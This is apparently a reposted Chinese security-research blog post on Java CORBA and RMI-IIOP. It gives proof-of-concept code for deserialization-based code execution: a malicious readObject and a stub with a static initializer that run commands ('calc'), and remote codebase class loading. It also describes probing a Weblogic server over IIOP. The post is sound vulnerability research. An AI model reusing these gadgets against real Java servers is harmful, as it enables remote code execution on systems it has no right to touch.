關於 Java 中的 RMI-IIOP
作者:Longofo@知道創宇404實驗室
時間:2019年12月30日
原文:
在寫完 的時候,又看到一個包含RMI-IIOP的 [1],在16年 [2]中也提到了這個協議的利用,當時想著沒太看到或聽說有多少關於IIOP的漏洞(可能事實真的如此吧,在下面Weblogic RMI-IIOP部分或許能感受到),所以那篇文章寫作過程中也沒去看之前那個16年議題IIOP相關部分。網上沒怎麼看到有關於IIOP或RMI-IIOP的分析文章,這篇文章來感受下。
環境說明
- 文中的測試程式碼放到了 上
- 測試程式碼的JDK版本在文中會具體說明,有的程式碼會被重複使用,對應的JDK版本需要自己切換
RMI-IIOP
在閱讀下面內容之前,可以先閱讀下以下幾個連結的內容,包含了一些基本的概念留個印象:
[3]
[4]
[5]
Java IDL是一種用於分散式物件的技術,即物件在網路上的不同平臺上進行互動。Java IDL使物件能夠進行互動,而不管它們是以Java程式語言還是C,C ++,COBOL或其他語言編寫的。這是可能的,因為Java IDL基於通用物件請求代理體系結構(CORBA),即行業標準的分散式物件模型。CORBA的主要功能是IDL,一種與語言無關的介面定義語言。每種支援CORBA的語言都有自己的IDL對映-顧名思義,Java IDL支援Java對映。為了支援單獨程式中物件之間的互動,Java IDL提供了一個物件請求代理或ORB(Object Request Broker)。ORB是一個類庫,可在Java IDL應用程式與其他符合CORBA的應用程式之間進行低層級的通訊。
CORBA,Common ObjectRequest Broker Architecture(公共物件請求代理體系結構),是由OMG組織制訂的一種標準的物件導向應用程式體系規範。CORBA使用介面定義語言(IDL),用於指定物件提供給外部的介面。然後,CORBA指定從IDL到特定實現語言(如Java)的對映。CORBA規範規定應有一個物件請求代理(ORB),透過該物件應用程式與其他物件進行互動。通用InterORB協議(GIOP)摘要協議的建立是為了允許ORB間的通訊,並提供了幾種具體的協議,包括Internet InterORB協議(IIOP),它是GIOP的實現,可用於Internet,並提供GIOP訊息和TCP/IP層之間的對映。
IIOP,Internet Inter-ORB Protocol(網際網路內部物件請求代理協議),它是一個用於CORBA 2.0及相容平臺上的協議;用來在CORBA物件請求代理之間交流的協議。Java中使得程式可以和其他語言的CORBA實現互操作性的協議。
RMI-IIOP出現以前,只有RMI和CORBA兩種選擇來進行分散式程式設計,二者之間不能協作。RMI-IIOP綜合了RMI 和CORBA的優點,克服了他們的缺點,使得程式設計師能更方便的編寫分散式程式設計,實現分散式計算。RMI-IIOP綜合了RMI的簡單性和CORBA的多語言性相容性,RMI-IIOP克服了RMI只能用於Java的缺點和CORBA的複雜性(可以不用掌握IDL)。
CORBA-IIOP遠端呼叫
在CORBA客戶端和伺服器之間進行遠端呼叫模型如下:
在客戶端,應用程式包含遠端物件的引用,物件引用具有存根方法,存根方法是遠端呼叫該方法的替身。存根實際上是連線到ORB的,因此呼叫它會呼叫ORB的連線功能,該功能會將呼叫轉發到伺服器。
在伺服器端,ORB使用框架程式碼將遠端呼叫轉換為對本地物件的方法呼叫。框架將呼叫和任何引數轉換為其特定於實現的格式,並呼叫客戶端想要呼叫的方法。方法返回時,框架程式碼將轉換結果或錯誤,然後透過ORB將其傳送回客戶端。
在ORB之間,通訊透過共享協議IIOP進行。基於標準TCP/IP Internet協議的IIOP定義了相容CORBA的ORB如何來回傳遞資訊。
編寫一個Java CORBA IIOP遠端呼叫步驟:
- 使用idl定義遠端介面
- 使用idlj編譯idl,將idl對映為Java,它將生成介面的Java版本類以及存根和骨架的類程式碼檔案,這些檔案使應用程式可以掛接到ORB。在遠端呼叫的客戶端與服務端編寫程式碼中會使用到這些類檔案。
- 編寫服務端程式碼
- 編寫客戶端程式碼
- 依次啟動命名服務->服務端->客戶端
好了,用程式碼感受下( 找到一份現成的程式碼可以直接用,不過做了一些修改):
1、2步驟作者已經幫我們生成好了,生成的程式碼在 目錄
服務端:
//服務端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NameComponent;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;import org.omg.PortableServer.POA;import org.omg.PortableServer.POAHelper;public class Server { public static void main(String[] args) { if (args.length == 0) { args = new String[4]; args[0] = "-ORBInitialPort"; args[1] = "1050"; args[2] = "-ORBInitialHost"; args[3] = "localhost"; } try { //建立並初始化ORB ORB orb = ORB.init(args, null); //獲取根POA的引用並啟用POAManager POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA")); rootpoa.the_POAManager().activate(); //建立servant EchoImpl echoImpl = new EchoImpl(); //獲取與servant關聯的物件引用 org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl); Echo echoRef = EchoHelper.narrow(ref); //為所有CORBA ORB定義字串"NameService"。當傳遞該字串時,ORB返回一個命名上下文物件,該物件是名稱服務的物件引用 org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); NameComponent path[] = ncRef.to_name("ECHO-SERVER"); ncRef.rebind(path, echoRef); System.out.println("Server ready and waiting..."); //等待客戶端呼叫 orb.run(); } catch (Exception ex) { ex.printStackTrace(); } }}
客戶端:
//客戶端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;public class Client { public static void main(String[] args) { if (args.length == 0) { args = new String[4]; args[0] = "-ORBInitialPort"; args[1] = "1050"; args[2] = "-ORBInitialHost"; args[3] = "localhost"; } try { //建立並初始化ORB ORB orb = ORB.init(args, null); org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER")); String hello = href.echoString(); System.out.println(hello); } catch (Exception ex) { ex.printStackTrace(); } }}//使用Jndi查詢客戶端package com.longofo.corba.example;import com.alibaba.fastjson.JSON;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import javax.naming.*;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class JndiClient { /** * 列出所有遠端物件名 */ public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //列出所有遠端物件名 System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); System.out.println("-----------call remote method--------------"); Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER")); System.out.println(echoRef.echoString()); } private static Map listAllEntries(Context initialContext) throws NamingException { String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; HashMap<String, Object> map = new HashMap<String, Object>(); System.out.println("> Listing namespace: " + namespace); NamingEnumeration<NameClassPair> list = initialContext.list(namespace); while (list.hasMoreElements()) { NameClassPair next = list.next(); String name = next.getName(); String jndiPath = namespace + name; HashMap<String, Object> lookup = new HashMap<String, Object>(); try { System.out.println("> Looking up name: " + jndiPath); Object tmp = initialContext.lookup(jndiPath); if (tmp instanceof Context) { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); Map<String, Object> entries = listAllEntries((Context) tmp); for (Map.Entry<String, Object> entry : entries.entrySet()) { String key = entry.getKey(); if (key != null) { lookup.put(key, entries.get(key)); break; } } } else { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } } catch (Throwable t) { lookup.put("error msg", t.toString()); Object tmp = initialContext.lookup(jndiPath); lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } map.put(name, lookup); } return map; } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
客戶端使用了兩種方式,一種是COSNaming查詢,另一種是Jndi查詢,兩種方式都可以,在jdk1.8.0_181測試透過。
首先啟動一個命名伺服器(可以理解為rmi的registry),使用ordb啟動如下,orbd預設自帶(如果你有jdk環境的話):
然後啟動服務端corba-iiop/src/main/java/com/longofo/example/Server.java,在啟動corba-iiop/src/main/java/com/longofo/example/Client.java或JndiClient.java即可。
這裡看下JndiClient的結果:
> Listing namespace: > Looking up name: ECHO-SERVER{ "ECHO-SERVER":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" }}-----------call remote method--------------Hello World!!!
注意到那個class不是沒有獲取到原本的EchoImpl類對應的Stub class,而我們之前rmi測試也用過這個list查詢,那時候是能查詢到遠端物件對應的stub類名的。這可能是因為Corba的實現機制的原因,
com.sun.corba.se.impl.corba.CORBAObjectImpl
是一個通用的Corba物件類,而上面的narrow呼叫
EchoHelper.narrow
就是一種將物件變窄的方式轉換為Echo Stub物件,然後才能呼叫echoString方法,並且每一個遠端物件的呼叫都要使用它對應的xxxHelper。
下面是Corba客戶端與服務端通訊包:
第1、2個包是客戶端與ordb通訊的包,後面就是客戶端與服務端通訊的包。可以看到第二個資料包的IOR(Interoperable Object Reference)中包含著服務端的ip、port等資訊,意思就是客戶端先從ordb獲取服務端的資訊,然後接著與服務端通訊。同時這些資料中也沒有平常所說的
ac ed 00 05
標誌,但是其實反序列化的資料被包裝了,在後面的RMI-IIOP中有一個例子會進行說明。
IOR幾個關鍵欄位:
-
Type ID:介面型別,也稱為儲存庫ID格式。本質上,儲存庫ID是介面的唯一識別符號。例如上面的
IDL:omg.org/CosNaming/NamingContext:1.0
- IIOP version:描述由ORB實現的IIOP版本
- Host:標識ORB主機的TCP/IP地址
- Port:指定ORB在其中偵聽客戶端請求的TCP/IP埠號
- Object Key:唯一地標識了被ORB匯出的servant
- Components:包含適用於物件方法的附加資訊的序列,例如支援的ORB服務和專有協議支援等
- Codebase:用於獲取stub類的遠端位置。透過控制這個屬性,攻擊者將控制在伺服器中解碼IOR引用的類,在後面利用中我們能夠看到。
只使用Corba進行遠端呼叫很麻煩,要編寫IDL檔案,然後手動生成對應的類檔案,同時還有一些其他限制,然後就有了RMI-IIOP,結合了Corba、RMI的優點。
RMI-IIOP遠端呼叫
編寫一個RMI IIOP遠端呼叫步驟:
- 定義遠端介面類
- 編寫實現類
- 編寫服務端
- 編寫客戶端
- 編譯程式碼併為服務端與客戶端生成對應的使用類
下面直接給出一種惡意利用的demo場景。
服務端:
package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { //例項化Hello servant HelloImpl helloRef = new HelloImpl(); //使用JNDI在命名服務中釋出引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
客戶端:
package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.rmi.PortableRemoteObject;import java.util.Hashtable;public class HelloClient { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //從命名服務獲取引用 Object objRef = initialContext.lookup("HelloService"); //narrow引用為具體的物件 HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class); EvilMessage message = new EvilMessage(); message.setMsg("Client call method sayHello..."); hello.sayHello(message); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
假設在服務端中存在EvilMessage這個能進行惡意利用的類,在客戶端中編寫同樣包名類名相同的類,並繼承
HelloInterface.sayHello(Message msg)
方法中Message類:
package com.longofo.example;import java.io.ObjectInputStream;public class EvilMessage extends Message { private void readObject(ObjectInputStream s) { try { s.defaultReadObject(); Runtime.getRuntime().exec("calc"); } catch (Exception ex) { ex.printStackTrace(); } }}
先編譯好上面的程式碼,然後生成服務端與客戶端進行遠端呼叫的代理類:
rmic -iiop com.longofo.example.HelloImpl
執行完成後,在下面生成了兩個類(Tie用於服務端,Stub用於客戶端):
啟動一個命名伺服器:
orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost
啟動服務端rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,再啟動客戶端rmi-iiop/src/main/java/com/longofo/example/HelloClient.java即可看到計算器彈出,在JDK 1.8.1_181測試透過。
服務端呼叫棧如下:
注意那個
_HelloImpl_Tie.read_value
,這是在19年BlackHat議題
[1]提到的,如果直接看那個pdf中關於RMI-IIOP的內容,可能會一臉懵逼,因為議題中沒有上面這些前置資訊,有了上面這些資訊,再去看那個議題的內容可能會輕鬆些。透過呼叫棧我們也能看到,IIOP通訊中的某些資料被還原成了
CDRInputStream,這是InputStream的子類,而被包裝的資料在下面Stub data這裡:
最後透過反射呼叫到了EvilMessage的readObject,看到這裡其實就清楚一些了。不過事實可能會有些殘酷,不然為什麼關於RMI-IIOP的漏洞很少看到,看看下面Weblogic RMI-IIOP來感受下。
Weblogic中的RMI-IIOP
Weblogic預設是開啟了iiop協議的,如果是上面這樣的話,看通訊資料以及上面的呼叫過程極大可能是不會經過Weblogic的黑名單了。
直接用程式碼測試吧(利用的Weblogic自帶的JDK 1.6.0_29測試):
import com.alibaba.fastjson.JSON;import javax.ejb.RemoveException;import javax.management.j2ee.ManagementHome;import javax.naming.*;import javax.rmi.PortableRemoteObject;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class PayloadIiop { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001"); System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); Object objRef = initialContext.lookup("ejb/mgmt/MEJB"); ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class); managementHome.remove(new Object());//這裡只是測試能否成功呼叫到remove方法,如果能成功呼叫,Object按照上面RMI-IIOP那種方式惡意利用 } private static Map listAllEntries(Context initialContext) throws NamingException { String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; HashMap<String, Object> map = new HashMap<String, Object>(); System.out.println("> Listing namespace: " + namespace); NamingEnumeration<NameClassPair> list = initialContext.list(namespace); while (list.hasMoreElements()) { NameClassPair next = list.next(); String name = next.getName(); String jndiPath = namespace + name; HashMap<String, Object> lookup = new HashMap<String, Object>(); try { System.out.println("> Looking up name: " + jndiPath); Object tmp = initialContext.lookup(jndiPath); if (tmp instanceof Context) { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); Map<String, Object> entries = listAllEntries((Context) tmp); for (Map.Entry<String, Object> entry : entries.entrySet()) { String key = entry.getKey(); if (key != null) { lookup.put(key, entries.get(key)); break; } } } else { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } } catch (Throwable t) { lookup.put("error msg", t.toString()); Object tmp = initialContext.lookup(jndiPath); lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } map.put(name, lookup); } return map; } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
list查詢結果如下:
> Listing namespace: > Looking up name: weblogic > Listing namespace: > Looking up name: ejb > Listing namespace: > Looking up name: mgmt > Listing namespace: > Looking up name: MEJB > Looking up name: javax > Listing namespace: > Looking up name: mejbmejb_jarMejb_EO{ "ejb":{ "mgmt":{ "MEJB":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" }, "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "javax":{ "error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No", "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "mejbmejb_jarMejb_EO":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" }, "weblogic":{ "error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No", "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }}
這些遠端物件的名稱和透過預設的rmi://協議查詢的結果是一樣的,只是class和interfaces不同。
但是到
managementHome.remove
就報錯了,managementHome為null。在上面RMI-IIOP的測試中,客戶端要呼叫遠端需要用到客戶端的Stub類,去查詢了下
ejb/mgmt/MEJB
對應的實現類
weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl
,他有一個Stub類為
weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub
,但是這個Stub類是為預設的RMI JRMP方式生成的,並沒有為IIOP呼叫生成客戶端與服務端類,只是繫結了一個名稱。
透過一些查詢,每一個IIOP遠端物件對應的Tie類和Stub類都會有一個特徵:
根據這個特徵,在Weblogic中確實有很多這種已經為IIOP呼叫生成的客戶端Stub類,例如
_MBeanHomeImpl_Stub
類,是
MBeanHomeImpl
客戶端的Stub類:
一個很尷尬的事情就是,Weblogic預設繫結了遠端名稱的實現類沒有為IIOP實現服務端類與客戶端類,但是沒有繫結的一些類卻實現了,所以預設無法利用了。
剛才呼叫失敗了,來看下沒有成功呼叫的通訊:
在COSNaming查詢包之後,服務端返回了type_ip為
RMI:javax.management.j2ee.ManagementHome:0000000000000000
的標誌,
然後下一個包又繼續了一個
_is_a
查詢:
下一個包就返回了type_id not match:
可以猜測的是服務端沒有生成IIOP對應的服務端與客戶端類,然後命名伺服器中找不到關於的
RMI:javax.management.j2ee.ManagementHome:0000000000000000
標記,透過查詢也確實沒有找到對應的類。
不過上面這種利用方式只是在程式碼層呼叫遵守了Corba IIOP的一些規範,規規矩矩的呼叫,在協議層能不能透過替換、修改等操作進行構造與利用,能力有限,未深入研究IIOP通訊過程。
在今年的那個議題RMI-IIOP部分,給出了Websphere一個攔截器類TxServerInterceptor中使用到
read_any
方法的情況,從這個名字中可以看出是一個攔截器,所以基本上所有請求都會經過這裡。這裡最終也呼叫到
read_value
,就像上面的
_HelloImpl_Tie.read_value
一樣,這裡也能進行可以利用,只要目標伺服器存在可利用的鏈,作者也給出了一些Websphere中的利用鏈。可以看到,不只是在遠端呼叫中會存在惡意利用的地方,在其他地方也可能以另一種方式存在,不過在方法呼叫鏈中核心的幾個地方依然沒有變,
CDRInputStream
與
read_value
,可能手動去找這些特徵很累甚至可能根本找不到,那麼龐大的程式碼量,不過要是有所有的方法呼叫鏈,例如GatgetInspector那種工具,之前
過這個工具。這是後面的打算了,目標是自由的編寫自己的控制邏輯。
JNDI中的利用
在JNDI利用中有多種的利用方式,而RMI-IIOP只是預設RMI利用方式(透過JRMP傳輸)的替代品,在RMI預設利用方式無法利用時,可以考慮用這種方式。但是這種方式依然會受到SecurityManager的限制。
在RMI-IIOP測試程式碼中,我把client與server放在了一起,客戶端與服務端使用的Tie與Stub也放在了一起,可能會感到迷惑。那下面我們就單獨把Client拿出來進行測試以及看下遠端載入。
服務端程式碼還是使用RMI-IIOP中的Server,但是加了一個codebase:
package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { System.setProperty("java.rmi.server.codebase", "); //例項化Hello servant HelloImpl helloRef = new HelloImpl(); //使用JNDI在命名服務中釋出引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
Client程式碼在新建的 模組,這樣模組之間不會受到影響,Client程式碼如下:
package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RMISecurityManager;import java.util.Hashtable;public class HelloClient { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //從命名服務獲取引用 initialContext.lookup("HelloService"); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
然後我在remote-class模組增加了一個
com.longofo.example._HelloInterface_Stub
:
package com.longofo.example;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;public class _HelloInterface_Stub { static { //這裡由於在static程式碼塊中,無法直接拋異常外帶資料,不過有其他方式外帶資料,可以自己查詢下。沒寫在建構函式中是因為專案中有些利用方式不會呼叫構造引數,所以為了方標直接寫在static程式碼塊中 try { exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); throw new Exception(sb); }}
啟動遠端類服務remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java,再啟動rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,然後執行客戶端rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java即可彈出計算器。在JDK 1.8.0_181測試透過。
至於為什麼進行了遠端呼叫,在
CDRInputStream_1_0.read_object
下個斷點,然後跟蹤就會明白了,最後還是利用了rmi的遠端載入功能:
總結
遺憾就是沒有成功在Weblogic中利用到RMI-IIOP,在這裡寫出來提供一些思路,如果大家有關於RMI-IIOP的其他發現與想法也記得分享下。不知道大家有沒有關於RMI-IIOP比較好的真實案例。
參考
如需轉載請註明來源。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2671429/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 關於Java中的equals方法Java
- Java 中關於protected的介紹Java
- 關於Java中的@Deprecated註解Java
- 關於Java中的反射機制Java反射
- 關於java中的類載入器Java
- 關於java中的i++和++iJava
- 關於Java中的類和物件筆記Java物件筆記
- 關於java中Excel的匯入匯出JavaExcel
- 關於JAVA中順序IO的基本操作Java
- Java 中關於 null 物件的容錯處理JavaNull物件
- java 關於fileinputstream的使用Java
- 盤點關於Java在生活中的應用!Java
- Java中關於二分查詢的問題Java
- 關於Java的File.separatorJava
- Leetcode刷題中關於java的一些小問題LeetCodeJava
- 關於Java中分層中遇到的一些問題Java
- 關於對於Java中Entity以及VO,以及DTO中Request物件序列化的學習Java物件
- 關於Java中泛型、反射和註解的掃盲篇Java泛型反射
- 關於oracle中的undoOracle
- 關於 Angular 中的 AuthGuardAngular
- 關於Spring中的useSuffixPatternMatchSpring
- 關於 iOS 中的庫iOS
- Java-關於ThreadJavathread
- 【譯】資料結構中關於樹的一切(java版)資料結構Java
- 關於Java異常的分類示例Java
- 關於事件物件中的stopImmediatePropagation事件物件
- 關於JavaScript中arguments的用法JavaScript
- 關於http包中的handlerHTTP
- vue中 關於$emit的用法VueMIT
- java中的static關鍵字Java
- java中的instanceof關鍵字Java
- css中關於table的相關設定CSS
- 關於Java中的物件、類、抽象類、介面、繼承之間的聯絡Java物件抽象繼承
- Java基礎7:關於Java類和包的那些事Java
- 關於Java的取時間方法的爭論Java
- 關於java的引用和c++的區別JavaC++
- 關於Java兩點需要更新的知識Java
- Java--- 關於null的處理若干方法JavaNull